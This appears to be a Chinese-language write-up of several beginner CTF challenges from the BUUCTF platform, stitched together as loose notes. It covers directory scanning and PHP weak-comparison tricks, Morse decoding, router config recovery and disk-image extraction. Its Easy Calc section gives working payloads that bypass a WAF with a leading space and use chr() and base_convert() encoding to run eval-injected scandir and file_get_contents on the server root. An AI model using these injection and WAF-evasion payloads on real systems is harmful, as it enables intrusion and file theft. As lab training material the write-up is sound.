目录
[ACTF2020 新生赛]BackupFile
[RoarCTF 2019]Easy Calc
利用PHP的字符串解析特性Bypass:
http走私攻击
来首歌吧
荷兰宽带数据泄露编辑
面具下的flag
1.打开环境
查看源代码得不到任何想要的信息,使用目录扫描来得到我们想要的文件名信息,这里用到 Web 目录扫描工具——dirsearch
使用命令
dirsearch -u http://5037570b-c582-47d0-804b-699775706fe7.node4.buuoj.cn:81/ -e*
发现一个符合的文件——“index.php.bak”
下载index.php.bak
根据题目得,我们需要以 get方式提交一个参数key,且要满足key == str
这里涉及到一个知识点,在 PHP 的弱类型比较中,有两种比价符号
其中==在比较时候是先将字符串类型转化为相同,再比较;===是先判断两种字符串的类型是否相等,再比较
在==转换字符串的过程中,遵循如下原则:
当字符串开始部分不存在数值的时候,会将该字符串转换为数值 0。如var_dump('abc' == 0),结果为 True
当字符串开始部分有合法数值的时候,会将该字符串转换为合法数值。如var_dump('123abc' == 123),结果为True
当字符串中包含 e 或者 E 时,会将其识别为科学计数法。如var_dump('0e12asda' == 0),结果为True
所以该题中,我们要使得$key == $str,且$key不能为字符,故可以构造Payload:?key=123
查看页面源代码,看到有calc.php,并且提示有waf
使用get方式传参赋值给num,并且使用正则表达式进行了过滤,只要能绕过过滤,就可以通过eval进行任意php语句
3.尝试直接?num=phpinfo()
访问不成功,应该是waf起了作用,根据大佬们的wp知道可以通过在num前加一个空格进行绕过
原理:php解析规则:当php进行解析时,如果变量名前面有空格,php会自动去掉前面的空格再进行解析,假如waf不允许num变量接收字母,那么使用 num就可以,而php解析时就会自动把空格去掉
绕过WAF有两种方法
num
前添加%20
绕过对num的检测(PHP的字符串解析特性)PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
.? num=phpinfo()
5.先使用scandir查看目录中的内容,找到存有flag的文件
6.但是/被过滤了,尝试绕过。使用chr对/的ascii码进行转换绕过,只有这个才不需要引号
? num=var_dump(scandir(chr(47)))
或者使用glob()函数
/calc.php?%20num=var_dump(glob(chr(47).chr(42)))
根目录发现f1agg,
得到f1agg文件。尝试对该文件进行读取
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
从一道题到协议层攻击之HTTP请求走私 - 先知社区[RoarCTF 2019]Easy Calc(http走私 && 利用PHP的字符串解析特性Bypass)_HyyMbb的博客-CSDN博客
CL-CL漏洞
两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。
CL-TE漏洞
CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。
或者构造payload获得Flag
使用scandir()函数
、readfile()函数
、base_convert()函数
、dechex() 函数
、hex2bin() 函数
chr()函数
)
36进制scandir
->10进制61693386291
36进制readfile
->10进制2146934604002
ascii码/
->16进制2f->10进制47
36进制f1agg->10进制25254448(读取根目录得到的)
首先要使用scandir()函数
,尝试构造payload列举根目录下的文件。scandir()
可以用base_convert()函数
构造,但是利用base_convert()
只能解决a~z
的利用。
因为根目录需要/
符号,且不在a~z
,所以需要hex2bin(dechex(47))
这种构造方式,dechex() 函数
把十进制数转换为十六进制数。hex2bin() 函数
把十六进制值的字符串转换为 ASCII 字符。当然,也可以直接用chr()函数
payload:
var_dump(base_convert(61693386291,10,36)(chr(47)))
再读取flag
payload:
var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))
下载了一个音频文件。在audacity打开。发现有两个轨道,上面的就是摩斯密码
写成莫斯密码
… -… -.-. ----. …— … -… …- ----. -.-. -… ----- .---- —… —… …-. … …— . -… .---- --… -… --… ----- ----. …— ----. .---- ----. .---- -.-.
解密得到
flag{5BC925649CB0188F52E617D70929191C}
RouterPassView——路由器密码查看工具
RouterPassView,大多数现代路由器允许您备份到一个文件路由器的配置,然后从文件中恢复配置时的需要。路由器的备份文件通常包含了像您的ISP的用户名重要数据/密码,路由器的登录密码,无线网络的关键。如果你失去了这些密码 /钥匙,但你仍然有你的路由器配置的备份文件,RouterPassView可以帮助你从你的路由器恢复您丢失密码的文件。
搜索username,外包flag
在终端执行命令解压。得到四个文件夹
7z x flag.vmdk -o./
打开key_part_one
拼接得到flag